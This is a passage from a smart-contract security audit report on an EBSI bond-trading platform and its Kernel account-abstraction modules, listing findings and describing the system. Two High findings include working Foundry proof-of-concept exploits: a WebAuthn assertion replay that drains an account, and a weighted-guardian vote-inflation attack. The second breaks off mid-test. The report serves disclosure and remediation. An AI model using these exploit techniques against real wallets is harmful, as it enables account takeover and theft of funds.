24	`ECDSAValidator` and `WeightedValidator` allow initialization of already initialized accounts	Low	Fixed
25	No issuer-rotation/recovery path	Low	Fixed
26	`expressInterest(...)` enforces no per-investor cap, allowing a single registered entity to reserve the full offer inventory and block cancellation	Info	Acknowledged
27	Entity type existence has different requirements	Info	Fixed
28	`pauseTokenId(...)` / `unpauseTokenId(...)` cannot curate per-tokenId pauses while global pause is active	Info	Fixed
29	`freezePartialTokens(...)` / `batchFreezePartialTokens(...)` accept `_protectedAddress` targets	Info	Fixed
30	`WeightedValidator.validateUserOp(...)` reverts on signature mismatch instead of returning `SIG_VALIDATION_FAILED`	Info	Fixed
31	`BaseToken.approve(...)` is deviating from EIP-6909	Info	Fixed
32	`FactoryStaker.deployWithFactory(...)` accepts ETH but does not forward it	Info	Fixed
33	`CompanyWallet` cannot receive ERC-721/ERC-1155 via `EscrowManager` `safeTransferFrom(...)`	Info	Fixed
34	Trust assumption in Soldeer dependencies	Info	Fixed
35	Unused Code	Info	Fixed
36	`DEUSSToken.initialize(...)` does not auto-set `_protectedAddress[EscrowManager]`, leaving bond custody unprotected until a separate post-deployment call is made	Info	Fixed
37	`setMaxCounterOffersPerUser(...)` has no minimum guard, allowing ADMIN to set it to zero and disable all counter-offer flows	Info	Fixed
38	`DEUSSToken` implementation contract is missing _disableInitializers();	Info	Fixed

5.7 Findings Overview (SpecSiege)

	Finding	Severity	Update
1	Timelock delay can be reduced immediately because TimelockEnforcerHook permits direct updateDelay calls	Medium	Fixed
2	ECDSA root owner can bypass TimelockEnforcerHook by directly calling Kernel.execute	Medium	Acknowledged
3	Disabled seller will create live marketplace offers after revocation for protocol users	Medium	Fixed
4	Issuer reclaim can recycle frozen issuer inventory into unfrozen supply	Medium	Fixed
5	supportsExecutionMode advertises CALLTYPE_STATIC	Medium	Fixed
6	Timelock self-uninstall desynchronizes Kernel module state and can strand hooked accounts	Medium	Fixed
7	uninstallModule does not enforce ERC-7579 revert semantics	Medium	Acknowledged
8	Validator Reinstallation Inherits Stale Selector Permissions	Low	Fixed
9	Recovery action can reset Timelock executor state instead of only rotating the root validator	Low	Fixed
10	`closeBond` can permanently brick an ISIN by redeeming the active version while a successor is pending	Low	Fixed
11	cancelBond() + republish reuses the same tokenId, so stale ERC-6909 allowances can transfer newly issued replacement bonds	Low	Fixed
12	Disabled or unlinked entity accounts can keep exercising scoped manager authority	Low	Fixed
13	Missing check for a maximum expiry threshold	Low	Fixed
14	`transferAccountToEntity()` does not rescope source-entity authority, so a moved account can continue administering the source entity while already belonging to a different destination entity	Low	Fixed
15	`WeightedValidator._removeGuardians` reads `authenticatorIdHash` at the wrong memory offset, emitting a corrupted value in `GuardianRemovedR1`	Low	Fixed
16	`rotateIssuer()` Missing `Replaced` status support blocks issuer recovery on superseded bond versions	Low	Fixed
17	A single guardian identity can satisfy a weighted multisig threshold when installed in multiple slots	Low	Fixed
18	Fixed absolute payment deadline in interest-discovery deals gives late activators zero payment window, leading to guaranteed deal failure and griefing	Low	Fixed
19	Silent executor auto-install via `_configureSelector` during fallback setup creates hidden privilege that persists after fallback removal, enabling unauthorized fund extraction	Low	Fixed
20	Entity managers can claim arbitrary addresses without consent	Low	Fixed
21	Missing Entity Validation in Seizure Functions Allows Bypass of Compliance Checks	Low	Fixed
22	`_isAccountEnabled` check can be sometimes bypassed in `Marketplace::cancelOffer()` when the offer.saleMode is of `INTEREST_DISCOVERY` type	Low	Fixed
23	Missing maximum on offer expiry permanently locks escrowed bonds and blocks redemption	Low	Fixed
24	P-256 verification is non-robust: the Daimo-fallback branch discards the `staticcall` success flag and reverts on empty returndata, while the precompile branch fails closed	Low	Fixed
25	Disabled EntityRegistry buyers can still receive settled standard assets because Marketplace settlement reuses stale buyer eligibility	Low	Fixed
26	Recovery guardian will permanently brick Kernel root validation for account owner	Low	Fixed
27	Removing a currency permanently blocks `updatePublishedBond` function, causing DoS to `PUBLISHER` on bond updates	Low	Fixed
28	Upgradeable `DEUSSToken` inherits non-upgradeable OZ `Pausable` — `_paused` storage slot is unprotected, risking full-token freeze or pause bypass on any storage-adding beacon upgrade	Low	Fixed
29	Unvalidated `bondNominalValue` in offers allows sellers to forge face-value metadata across the protocol's official integration surface	Low	Fixed
30	Missing `__gap` reservation in upgradeable contracts and base contracts creates latent storage collision risk	Low	Fixed
31	`_validateCheckpointBlockNumber` error emits `block.timestamp` instead of `block.number` , misleading error decoders	Low	Fixed
32	Enable-Mode Validator Installation Bypasses The Timelock Hook	Info	Acknowledged
33	TimelockEnforcerHook onUninstall does not revert on error	Info	Fixed

6 System Overview

The **Project** is a tokenized bond issuance and trading platform built for the European Blockchain Services Infrastructure (EBSI). It lets identity-verified entities publish ERC-6909 bonds, issue and trade them through a custody-backed marketplace, and govern participation through an entity registry, a policy-driven smart wallet, and a delegated role model. The engagement covers two architecturally independent Foundry codebases that share **zero** on-chain imports: the **bond platform** (`bond-contract`) and a set of **Kernel ERC-7579 account-abstraction modules** (`account-abstraction`) adapted from ZeroDev Kernel v3.3 to a beacon-proxy deployment model for EBSI. Any composition between them (for example a Kernel smart account acting as a `CompanyWallet` owner) is off-chain configuration, not an on-chain interaction.

A defining characteristic of the protocol is that the real cash flows of a bond, the coupon and the principal/redemption payments, happen **off-chain in fiat**. The on-chain contracts track bond metadata, supply, custody, and the settlement of the bond token itself, not the movement of the money behind it. EBSI is a permissioned, KYB-based (know-your-business) chain on which every actor is identity-verified and legally accountable. This lowers the likelihood of anonymous adversarial behaviour, but it is an off-chain deterrent rather than an on-chain control, so permissionless on-chain properties remain enforced by the contracts and on-chain exploits stay in scope.

The bond platform is organised into three logical layers. The most important authorisation device is `CompanyWallet.execute(...)`: every privileged operation not invoked directly by a role-holding EOA flows through it. The second is `PolicyRegistry` keying every wallet-scoped mapping by `(wallet, ownershipEpoch)`, so a single owner rotation atomically invalidates all delegated policy.

Layer	Contracts	Responsibility
Value flow	`BondRegistry`, `DEUSSToken`/`BaseToken`, `Marketplace`, `OrderbookMarketplace`, `EscrowManager`, `AssetManager`	Bond creation, supply, trading, custody
Access control	`EntityRegistry`, `PolicyRegistry`	Who is allowed to do what
Trust pivot	`CompanyWallet`, `WalletFactory`	Per-organisation smart account

Table 8: Logical layers of the bond platform

6.1 Bond Registry and Token

`BondRegistry` is the lifecycle authority for bonds and the sole contract permitted to mint or burn the bond token (the `onlyBondRegistry` modifier gates `mint(...)`, `burn(...)`, `pauseTokenId(...)`, and `unpauseTokenId(...)` on the token side). A bond is identified by `tokenId == keccak256(isin, version)`, which is unique and never reused; the reverse-lookup tables stay the exact inverse of the identity function.

- **Lifecycle**: `publishBond(...)` only *registers* a bond (status `Published`, no supply). `issueBond(...)` is what *mints* supply and advances `Published` → `Issued`; the two are intentionally distinct operations. `suspendBond(...)`/`unsuspendBond(...)` toggle `Issued` ↔ `Suspended` (coupled to a token-id pause), `closeIssuance(...)` locks further issuance, `closeBond(...)` reaches `Redeemed` (from either `Issued` or `Suspended`) only when total supply is zero, and `cancelBond(...)` moves a still-empty `Published` bond to `Cancelled`.
- **Pre-issuance mutability**: while a bond is in `Published` status, `updatePublishedBond(...)` (`PUBLISHER` role) can rewrite almost every parameter: issuer, coupon schedule, maturity date, `issuanceCountry`, and `maxSupply` (which also resets `remainingIssuableSupply`); only `isGuaranteed` is fixed. After issuance the function reverts. The `ISSUER_RECOVERY` role can additionally rotate the issuer address on live bonds.
- **Versioning**: exactly one version per ISIN is active at a time. A successor publishes only when the active version is `Issued` and no other successor is `Published`; the first issuance of a successor cuts the predecessor over to `Replaced`.
- **Supply accounting**: per `(isin, version)`, `mintedSupply` is cumulative and only grows via `issueBond(...)`; `remainingIssuableSupply` is the operative future-issuance cap and never exceeds `maxSupply`; tranche records are append-only and share one tokenId.
- **Coupon schedule**: coupon checkpoints are absolute Unix timestamps, strictly ascending, terminated by a zero rate, and bounded by `maturityDate`; the binary-search rate lookup depends on this ordering. `isGuaranteed` is immutable from publish time (an explicit revert guard enforces this in `updatePublishedBond(...)`). `issuanceCountry` and most other bond parameters are mutable via `updatePublishedBond(...)` while the bond remains in `Published` status; once the bond advances to `Issued`, further updates revert.

`DEUSSToken` (over `BaseToken`) is the ERC-6909 multi-token that holds bond balances, with one `tokenId` per bond version. It adds operational controls on top of the standard: a global `pause()`/`unpause()` (owner-only) that halts all transfers across every token-id, per-token pause (the on-chain expression of bond suspension; a paused token-id is non-transferable), per-account freezing bounded by `frozenTokens[acct][id] <= balanceOf(acct, id)`, role-gated `forcedTransfer(...)` (which can recover from a disabled holder), block-number-checkpointed historical getters, and an irreversible `protectAddress(...)` mechanism used to shield bond custody.

6.2 Access Layer: Entities, Policies, and Wallets

`EntityRegistry` models the off-chain organisations that participate on-chain. Entity types are defined by an `ENTITY_TYPE_MANAGER`, entities are onboarded by an `ONBOARDING` role, and accounts are linked to an entity by its manager or authority. The central read is `isAccountEnabled(a)`, which is true **only if both** the account and its owning entity are `ENABLED`; disabling an entity transitively disables every linked account with no per-account writes. Token transfers, marketplace actions, bond issuance, and wallet creation all depend on this cascade.

`PolicyRegistry` and `CompanyWallet` form the trust pivot. `CompanyWallet` is a policy-driven smart account whose `execute(...)` proceeds under a strict disjunction and forbids self-calls:

```
// proceeds iff: msg.sender == owner()
//           OR PolicyRegistry.canExecute(wallet, sender, target, value, data)
// enforces:   target != address(0) && target != address(this) && target.code.length != 0
//             data.length > 3   (4-byte selector minimum; EOAs are not valid targets)
//             [nonReentrant]
function execute(address target, uint256 value, bytes calldata data) external;
```

`canExecute(...)` composes three AND-ed gates: a well-formed request, base authorisation at the current epoch (`(userRoles & operationRoles) != 0`), and an optional operation module that, when configured, must be allowlisted and return 32-byte `true` from a staticcall (module absence is a pass; module presence narrows). A module that is configured for an operation but later removed from the global allowlist silently blocks that operation until the wallet owner clears the module reference. Every wallet-scoped mapping is keyed by `(wallet, ownershipEpoch)`; `ownershipEpoch` starts at 1, only increases, and bumps on every owner change, so a single ownership transfer atomically wipes all delegated admins, user roles, operation roles, and modules without explicit cleanup. `renounceOwnership()` reverts, so a wallet always has an owner. `WalletFactory` deploys each `CompanyWallet` as a beacon proxy through the EBSI proxy infrastructure.

6.3 Marketplace and Escrow Custody

`Marketplace` and `OrderbookMarketplace` are the two marketplace modules registered against `EscrowManager`. This subsection describes `Marketplace`, which runs an interest-discovery marketplace with escrowed custody. An offer is created by a seller depositing the asset into EscrowManager, then runs in one of three sale modes, each with its own payment deadline:

- **MARKETPLACE**: any enabled buyer may call `acceptOffer(...)` to take inventory immediately into a deal; an optional `allowedBuyers` set restricts who may accept.
- **REDEMPTION**: same direct-acceptance path as MARKETPLACE but requires a non-empty `allowedBuyers` set and forbids counter-offers.
- **INTEREST_DISCOVERY**: buyers `expressInterest(...)` to reserve inventory; once `interestedUnits >= minSaleUnits` any enabled account may call `activateInterest(...)` to convert a specific interest into a deal, and `closeExpiredInterests(...)` (callable by the offer owner or an `INTEREST_DISCOVERY_OPERATOR` holder) releases unmet interest after the activation window closes.

Where allowed, a buyer may `createCounterOffer(...)` and the owner `resolveCounterOffer(...)`. A deal then advances through `resolvePayment(...)` (`PENDING` to `PAID` or `UNPAID`), an optional dispute (`initiateDispute(...)` then `resolveDispute(...)`, under `ARBITRATOR`), and finally `settleDeal(...)`, which is permissionless once payment is resolved.

The deal status graph is a monotone DAG: the only reversal is the `disputeBuffer`-gated `UNPAID` → `PAID` re-resolution. Every amount must respect lot sizing: the lot is positive, no larger than the offer total, and divides the total exactly. Payment deadlines and the dispute buffer (bounded 1 to 10 days) advance regardless of freeze state, so a deal can expire while frozen.

`EscrowManager` is the custody contract. For each asset key it preserves reservation parity, `reservedByAsset[key] == sum of live escrows for that key`, through a single increment and a single decrement site. Assets leave escrow only via `claim(...)`, `withdraw(...)`, or `seize(...)`; `sweep(...)` can take only the surplus above the reservation (out-of-band deposits), never reserved units. `AssetManager` holds the allowlist of tradable assets (ERC-20/721/1155/6909) and validates each asset before custody. Owner and seizure paths (`withdrawAvailable(...)`, `cancelOffer(...)`; `seizeOfferEscrow(...)`/`seizeDeal(...)` under `SEIZURE_ROLE`) complete the custody surface.

6.4 Account-Abstraction Modules (Kernel ERC-7579)

The second codebase is a set of modules around ZeroDev Kernel v3.3, refactored from a UUPS upgrade model to a **beacon-proxy** deployment model for EBSI. The validation context (root validator vs. a specific validator vs. a permission) is decoded from `userOp.nonce`, not the signature, and the `ENABLE`/`INSTALL` nonce modes can install a module during validation.

- `KernelFactory` + `FactoryStaker`: a Kernel account address is a CREATE2 function of (factory, beacon, init data); only `FactoryStaker`-approved factories may deploy, and the staker stakes on the EntryPoint. The counterfactual address matches the deployed address.

- **Validators**: `ECDSAValidator` (single EOA owner signing), `WebAuthnValidator` (a single WebAuthn passkey), and `WeightedValidator` (a weighted, threshold-based guardian set). Each authorises UserOps and recovery.
- **Timelock executor + hook**: `Timelock` is an ERC-7579 executor encoding `Unset/Waiting/Ready/Done` in one slot, where `Done` is terminal. `TimelockEnforcerHook` restricts user-op-path calls to the paired `Timelock` and the selectors `{schedule(...), cancel(...), execute(...), updateDelay(...)}`; the executor-originated `executeFromExecutor(...)` path bypasses the hook by Kernel design. `updateDelay(...)` is callable only by the account itself and must itself be scheduled, so the delay can only change after the current delay elapses.
- `RecoveryAction`: `doRecovery(...)` performs a validator `onUninstall(...)` then `onInstall(...)` in a single call, so the account is never left without an installed validator.
- **WebAuthn / P-256 stack** (`WebAuthn`, `P256`, `P256Verifier`, `Base64URL`): signature verification dispatches to the EIP-7212 precompile when available, otherwise to the hardcoded Daimo verifier; both must agree on the EIP-7212 ABI. `KernelSmartAccountUtils` is a stateless helper that builds the UserOps (including the recovery UserOp).

A timelock-protected UserOp therefore flows `EntryPoint` → validator → `Kernel.executeUserOp(...)` → hook `preCheck(...)` (restrict to the paired Timelock) → `schedule(...)` (Waiting) → wait the delay → `execute(...)` (Ready → Done via `executeFromExecutor(...)`).

6.5 Deployment and Upgradeability

Both codebases deploy behind EBSI's beacon infrastructure (`ProxyFactory` + `ProxyTemplateRegistry`), driven by `ProxyDeployer`. On the bond side, the core contracts (`BondRegistry`, `EntityRegistry`, `PolicyRegistry`, `AssetManager`, `Marketplace`, `EscrowManager`, the ERC-6909 token, and the `CompanyWallet` template) are each deployed as an `UpgradeableBeacon` proxy; `WalletFactory` then mints `CompanyWallet` instances from the shared `CompanyWallet` beacon. Core dependency wiring (`bondRegistry`, `escrowManager`, `entityRegistry`) is set-once with a zero-check and no rotation path. After a bootstrap stage grants the default operational roles and configures the token, assets, and currencies, protocol ownership is transferred to an OpenZeppelin `TimelockController` (self-administered, `MIN_DELAY` set at deployment time and not enforced on-chain by the contracts), so subsequent privileged changes route through the timelock.

On the Kernel side, the refactor's core property is that every Kernel account proxy resolves its implementation from a single shared beacon: there is no per-account implementation override. The beacon is owned by the proxy/timelock, so implementation upgrades must route through the timelock. `Multicall3` is deployed on EBSI and used for batching; it should not be assumed to exhibit mainnet-identical opcode/precompile behaviour (`BASEFEE`, `coinbase`, `blockhash`, native-value conservation in `aggregate3Value(...)`).

6.6 Access Control

User-facing actions are gated by per-contract role bitmaps (Solady `OwnableRolesExtension`). The bond registry exposes `PUBLISHER`, `CANCEL`, `CLOSE`, `CURRENCY`, `SUSPEND`, `UNSUSPEND`, `BURNER`, `SCORING`, and `ISSUER_RECOVERY`; the entity registry exposes `ADMIN_ROLE`, `GUARD`, `ONBOARDING`, `WALLET_TRANSFER`, and `ENTITY_TYPE_MANAGER`; the marketplace exposes `ADMIN`, `PAYMENT_HANDLER`, `ARBITRATOR`, `SEIZURE_ROLE`, `FREEZE_ROLE`, and `INTEREST_DISCOVERY_OPERATOR`; and the token exposes `BURNER_ROLE`, `TOKEN_FREEZER_ROLE`, and `FORCE_TRANSFER_ROLE` (the token's `BURNER_ROLE` is distinct from the registry's `BURNER`). Bond issuance is authorised via two exclusive paths by routing priority: if `msg.sender == bond.issuer` the issuer must be enabled (`isAccountEnabled(...)`), otherwise the caller must hold the `PUBLISHER` role; wallet owners and policy admins are authorised per-wallet at the current epoch. On the Kernel side, the account owner, passkey, and weighted guardians authorise UserOps and recovery, while `FactoryStaker`'s owner controls which factories may deploy accounts. Protocol-wide authority (granting/revoking roles, pausing, `protectAddress(...)`, registry wiring) sits with the contract owner and, after bootstrap, the `TimelockController`.

6.7 Trust Assumptions

- **Off-chain settlement**: coupon and principal/redemption payments are settled off-chain in fiat. The contracts do not pay coupons or face value; findings premised on the chain doing so are out of scope.
- **Identity-verified actors**: EBSI is a KYB chain whose participants are identity-verified and legally accountable. This is an off-chain deterrent, not an on-chain control; on-chain-enforceable properties still hold.
- **Well-behaved assets**: marketplace assets are allowlisted via `AssetManager` and assumed standard (no fee-on-transfer, no rebasing, clean `transferFrom(...)`). Out-of-allowlist behaviour is undefined.
- **Trusted governance**: the contract owner, the `TimelockController`, and the `FactoryStaker` owner are assumed honest within their documented bounds; owner-set parameters (delays, dispute buffer, allowlists, approved factories) are trusted within those bounds.
- **External components**: the ZeroDev Kernel core, the ERC-4337 EntryPoint (v0.7.0), the EIP-7212 precompile, and the Daimo `P256Verifier` fallback are treated as black boxes that behave per their public specifications on the target chain.

A deeper treatment of the protocol-level and centralisation risks implied by these assumptions is given in Section 9 (Threat Model).

7 Findings

7.1 Critical

No critical issues were discovered during this engagement.

7.2 High

7.2.1 [High] WebAuthn dummy-signature path bypasses challenge binding, enabling passkey assertion replay

Severity: High

Section ID: 7.2.1

File(s): `WebAuthn.sol`, `WebAuthnValidator.sol`, `WeightedValidator.sol`

Function(s): `WebAuthn.verifySignature(...)`, `WebAuthnValidator._verifySignature(...)` `validateUserOp(...)`, `WeightedValidator._checkR1Sig(...)`

Category: Access Control; Business Logic / Protocol Design

References: SWC-121 (Signature Replay), CWE-347 (Improper Verification of Cryptographic Signature), OWASP SC04 (Lack of Input Validation)

Description: `WebAuthn.verifySignature(...)` accumulates three binding checks into `deferredResult` (`checkAuthFlags`, the `"type":"webauthn.get"` containment check, and the `"challenge":"<b64url(userOpHash)>"` containment check), then returns `verified && deferredResult`. When the caller-supplied `responseTypeLocation == type(uint256).max`, the function short-circuits before consulting `deferredResult`:

```
// WebAuthn.sol:154-160
bytes32 messageHash = sha256(abi.encodePacked(authenticatorData, clientDataJSONHash));

// if responseTypeLocation is set to max, it means the signature is a dummy signature
if (responseTypeLocation == type(uint256).max) {
    return P256.verifySignature(messageHash, r, s, x, y, false);   // ignores deferredResult
}
```

`responseTypeLocation` is decoded directly from `userOp.signature` (`WebAuthnValidator._verifySignature(...)` at L127; the r1-guardian path `WeightedValidator._checkR1Sig(...)` at L200), so it is fully attacker-controlled. On this branch the only check is that `(r, s)` is a valid P256 signature over `messageHash = sha256(authenticatorData ‖ sha256(clientDataJSON))`, where both inputs are attacker-supplied. The challenge-containment check (the sole mechanism binding the verified message to the current `userOpHash`) is skipped. The branch is intended for off-chain gas estimation, but nothing distinguishes an estimation call from real validation on-chain, so it executes during `EntryPoint`-driven `validateUserOp(...)`.

Impact: High. Any genuine WebAuthn assertion previously produced by the victim's passkey is replayable to authorise an arbitrary operation. A passkey signature is published in every `userOp.signature` (4337 mempool and, permanently, in `EntryPoint.handleOps` calldata). An attacker captures one `(authenticatorData, clientDataJSON, r, s)`, builds a new `userOp` with arbitrary `callData` (e.g. `execute` to drain funds, or `changeRootValidator` to seize control), sets `responseTypeLocation = type(uint256).max`, and reuses the captured tuple. `P256.verifySignature(messageHash, ...)` returns `true`, so `validateUserOp(...)` returns `SIG_VALIDATION_SUCCESS` and the EntryPoint executes the attacker's calldata, resulting in complete account takeover and full loss of account funds. Affects any account with `WebAuthnValidator` as root or guardian validator, and r1 guardians in `WeightedValidator`.

Likelihood: Medium. For any account that has performed at least one WebAuthn operation (the prerequisite assertion is then public and permanent). The attack is deterministic, needs no capital, no privileged role, and no special timing. The attacker only crafts a `userOp` and toggles one decoded field. The single gating condition is that a prior valid assertion exists to replay.

Proof of Concept:

```
function test_PoC_dummySigReplay_drainsAccountEndToEnd() public {
        // Victim account holds 10 ETH.
        vm.deal(address(account), 10 ether);
        assertEq(address(account).balance, 10 ether, "setup: account funded");
        assertEq(attacker.balance, 0, "setup: attacker starts with nothing");

        // The victim's ONLY passkey signature ever produced was over some past operation hash.
        // This assertion is public (mempool + handleOps calldata); the attacker captured it.
        bytes32 legitHash = keccak256("victim's one and only past WebAuthn op");
        (bytes memory authData, string memory cdj, uint256 r, uint256 s) = _genuineAssertion(legitHash);
```

```
        // Attacker builds a userOp that drains the whole 10 ETH balance to itself.
        EpUserOperation memory op = EpUserOperation({
            sender: address(account),
            nonce: entryPoint.getNonce(address(account), 0),
            initCode: hex"",
            callData: _encodeDrain(attacker, 10 ether),
            // verificationGasLimit (high 128) generous for P256 verify | callGasLimit (low 128)
            accountGasLimits: bytes32((uint256(2_000_000) << 128) | uint256(500_000)),
            preVerificationGas: 100_000,
            // maxPriorityFeePerGas (high) | maxFeePerGas (low) = 0 -> zero gas price, no prefund
            gasFees: bytes32((uint256(1e9) << 128) | uint256(0)),
            paymasterAndData: hex"",
            signature: hex""
        });

        // Replay the captured assertion verbatim, flipping ONLY responseTypeLocation to max.
        // The drain op's userOpHash (computed below) is NOT what the passkey signed.
        op.signature = abi.encode(authData, cdj, type(uint256).max, r, s, false);

        bytes32 drainOpHash = entryPoint.getUserOpHash(op);
        assertTrue(drainOpHash != legitHash, "the drain op was never signed by the victim's passkey");

        EpUserOperation[] memory ops = new EpUserOperation[](1);
        ops[0] = op;

        // Attacker submits as the bundler/beneficiary. No prank of the account, no privileged role.
        vm.prank(attacker);
        entryPoint.handleOps{gas: 10_000_000}(ops, payable(attacker));

        // Quantified fund loss: the entire 10 ETH moved from the victim account to the attacker.
        assertEq(address(account).balance, 0, "victim account fully drained");
        assertEq(attacker.balance, 10 ether, "attacker stole the full balance");

        console2.log("Account balance after attack :", address(account).balance);
        console2.log("Attacker balance after attack:", attacker.balance);
    }
```

Recommendation(s): Remove the `responseTypeLocation == type(uint256).max` short-circuit so the challenge-containment check (binding the P256 message to the current `userOpHash`) runs on every path. If a dummy path is needed for gas estimation, have it return `false` rather than the raw P256 result.

Source: Codespect manual audit

Client notification: 2026-05-28 17:21, notified by email (High → within 2 business days per Art. XII.2)

Status: Fixed

Update from CTU team: Implemented in MR !16. Removed the WebAuthn dummy-signature validation path that bypassed challenge binding checks.

Update from CODESPECT: The issue is fixed in `125b97e` and `da33a14` (regression test coverage).

7.2.2 [High] The `WeightedValidator`'s `validateUserOp(...)` votes can be inflated

Severity: High

Section ID: 7.2.2

File(s): `WeightedValidator.sol`

Function(s): `WeightedValidator.validateUserOp(...)`

Category: Access Control; Business Logic / Protocol Design

References: CWE-347 (Improper Verification of Cryptographic Signature), OWASP SC04 (Lack of Input Validation)

Description: The `validateUserOp(...)` function handles the last signature differently than the others. Its `sigCheck` boolean doesn't make the transaction revert if it is `false`, unlike the rest of the signatures, but returns `0` or `1` depending on that. However, if it is `false`, the last signature has `Approved` status and its weight has been added, as in the `_checkSigVote(...)` function the weight gets added without verifying if `checkSig` is `true`.

```
function validateUserOp(PackedUserOperation calldata userOp, bytes32 userOpHash)
    external
    payable
    override
    returns (uint256)
{
    // ...
    {
        // last signature to check the userOpHash
        bool sigCheck;
        (sigCheck, currentApproval) =
            _checkSigVote(callDataAndNonceHash, userOpHash, signatures[i], currentApproval);
        proposalStatus[callDataAndNonceHash][msg.sender].approvals = currentApproval;
        return sigCheck && (currentApproval >= validatorStrg.threshold) ? 0 : 1;
    }
}

function _checkSigVote(bytes32 callDataAndNonceHash, bytes32 hash, bytes calldata sig, uint24 currentApproval)
    internal
    returns (bool, uint24)
{
    // ...
    VoteStorage storage voteStrg = voteStatus[callDataAndNonceHash][idx][msg.sender];
    if (voteStrg.status != VoteStatus.Approved) {
        currentApproval += strg.weight;
        voteStrg.status = VoteStatus.Approved;
    }
    return (sigCheck, currentApproval);
}
```

An attacker can pass an arbitrary `idx` as the last signature's first byte pointing at a high-weight guardian who never signed anything and that guardian's weight gets permanently credited to the proposal. This can be done multiple times until the threshold is reached. On the next call with a valid last signature, the threshold is met using guardians' weight they never actually contributed.

Impact: High. Any user can increase the votes using other guardians' weight and pass the threshold. It allows any guardian (since at least one valid signature is needed) to execute any arbitrary `UserOp` on the victim's `Kernel` account, meaning complete account takeover.

Likelihood: Medium. At least one valid guardian signature is needed in total.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;

import {Test} from "forge-std/Test.sol";
import {WeightedValidator} from "src/kernel/validators/WeightedValidator.sol";
import {PackedUserOperation} from "kernel/interfaces/PackedUserOperation.sol";

/**
 * @title WeightedValidatorExploitTest
 * @notice Demonstrates that a minority guardian (weight=3) can execute arbitrary
 *         UserOps on a Kernel account by poisoning a high-weight guardian's vote
 *         (weight=8) via an invalid last signature, without the innocent guardian
 *         ever signing anything.
 *
```

```
 * Root cause:  _checkSigVote() writes the guardian's weight to storage and marks
 *              VoteStatus.Approved BEFORE checking whether sigCheck is true.
 *              For non-last signatures this is undone by the subsequent revert, but
 *              for the last signature the call returns 1 (failure) instead of
 *              reverting, so the storage write persists.
 *
 * Setup:
 *   Guardian 0 — attacker,  k1 ECDSA, weight = 3
 *   Guardian 1 — innocent,  k1 ECDSA, weight = 8
 *   threshold  = 10   (attacker alone can NEVER reach this)
 *
 * Attack:
 *   Call 1 — single signature with idx=1 (innocent) and garbage bytes.
 *            sigCheck = false → returns 1, but innocent's weight=8 is
 *            permanently credited to proposalStatus.approvals.
 *
 *   Call 2 — attacker signs the hashTypedData pre-approval (idx=0) plus
 *            the final userOpHash (idx=0).
 *            approvals = 8 (poisoned) + 3 (attacker) = 11 >= threshold 10
 *            sigCheck = true  → returns 0  →  EXECUTION SUCCEEDS.
 */
contract WeightedValidatorExploitTest is Test {
    WeightedValidator internal _validator;

    // Simulated Kernel account address (msg.sender when Kernel calls the validator)
    address internal _account;

    uint256 internal _attackerKey;
    address internal _attacker;
    address internal _innocent;

    uint24 constant ATTACKER_WEIGHT = 3;
    uint24 constant INNOCENT_WEIGHT = 8;
    uint24 constant THRESHOLD       = 10; // attacker alone cannot reach this

    // ---------------------------------------------------------------------

    function setUp() public {
        _validator = new WeightedValidator();

        (_attacker, _attackerKey) = makeAddrAndKey("attacker");
        _innocent                 = makeAddr("innocent");
        _account                  = makeAddr("kernelAccount");

        // Guardian data format for k1: [type 0x01 (1)][weight (3)][address (20)] = 24 bytes
        bytes[] memory guardians = new bytes[](2);
        guardians[0] = abi.encodePacked(bytes1(0x01), ATTACKER_WEIGHT, bytes20(_attacker));
        guardians[1] = abi.encodePacked(bytes1(0x01), INNOCENT_WEIGHT, bytes20(_innocent));

        // onInstall calldata: threshold (3 bytes) | delay (6 bytes) | abi.encode(bytes[])
        bytes memory installData = bytes.concat(
            abi.encodePacked(uint24(THRESHOLD), uint48(0)),
            abi.encode(guardians)
        );

        vm.prank(_account);
        _validator.onInstall(installData);

        // Sanity: confirm guardian weights were recorded
        (, uint24 w0,) = _validator.guardian(0, _account);
        (, uint24 w1,) = _validator.guardian(1, _account);
        assertEq(w0, ATTACKER_WEIGHT);
        assertEq(w1, INNOCENT_WEIGHT);
    }

    // ---------------------------------------------------------------------
    // Helpers
    // ---------------------------------------------------------------------

    function _buildUserOp(uint256 nonce, bytes memory callData)
        internal view returns (PackedUserOperation memory op)
    {
```

```
        op.sender            = _account;
        op.nonce             = nonce;
        op.callData          = callData;
        op.accountGasLimits  = bytes32(uint256(100_000) << 128 | uint256(100_000));
        op.preVerificationGas = 21_000;
        op.gasFees           = bytes32(uint256(1 gwei) << 128 | uint256(1 gwei));
    }

    /// @dev Replicates WeightedValidator's EIP-712 domain separator.
    function _domainSeparator() internal view returns (bytes32) {
        return keccak256(abi.encode(
            keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("WeightedValidator"),
            keccak256("0.0.1"),
            block.chainid,
            address(_validator)
        ));
    }

    /// @dev Replicates the hashTypedData used for non-last (pre-approval) signatures.
    function _approveHash(bytes32 callDataAndNonceHash) internal view returns (bytes32) {
        bytes32 structHash = keccak256(abi.encode(
            keccak256("Approve(bytes32 callDataAndNonceHash)"),
            callDataAndNonceHash
        ));
        return keccak256(abi.encodePacked("\x19\x01", _domainSeparator(), structHash));
    }

    /// @dev Produces a compact (r,s,v) ECDSA signature that _checkK1Sig accepts.
    function _signK1(uint256 key, bytes32 hash) internal pure returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(key, hash);
        return abi.encodePacked(r, s, v);
    }

    // ---------------------------------------------------------------------------
    // Tests
    // ---------------------------------------------------------------------------

    /**
     * @notice Baseline: attacker signing alone never reaches threshold.
     *         This rules out any legitimate path and isolates the exploit.
     */
    function test_baseline_attackerAloneCannotReachThreshold() public {
        bytes memory callData = abi.encodeWithSignature(
            "execute(address,uint256,bytes)", address(0xdead), 1 ether, ""
        );
        PackedUserOperation memory userOp = _buildUserOp(99, callData);
        bytes32 userOpHash = keccak256(abi.encode("userOpHash", userOp.nonce));

        // Single last signature — attacker signs userOpHash with idx=0
        bytes[] memory sigs = new bytes[](1);
        sigs[0] = abi.encodePacked(uint8(0), _signK1(_attackerKey, userOpHash));
        userOp.signature = abi.encode(sigs);

        vm.prank(_account);
        uint256 result = _validator.validateUserOp(userOp, userOpHash);

        assertEq(result, 1, "attacker alone (weight=3) must not reach threshold=10");
    }

    /**
     * @notice Exploit: attacker (weight=3) executes an arbitrary UserOp by poisoning
     *         the innocent guardian's (weight=8) vote without their knowledge or consent.
     */
    function test_exploit_minorityGuardianBypassesThreshold() public {
        bytes memory callData = abi.encodeWithSignature(
            "execute(address,uint256,bytes)", address(0xdead), 1 ether, ""
        );
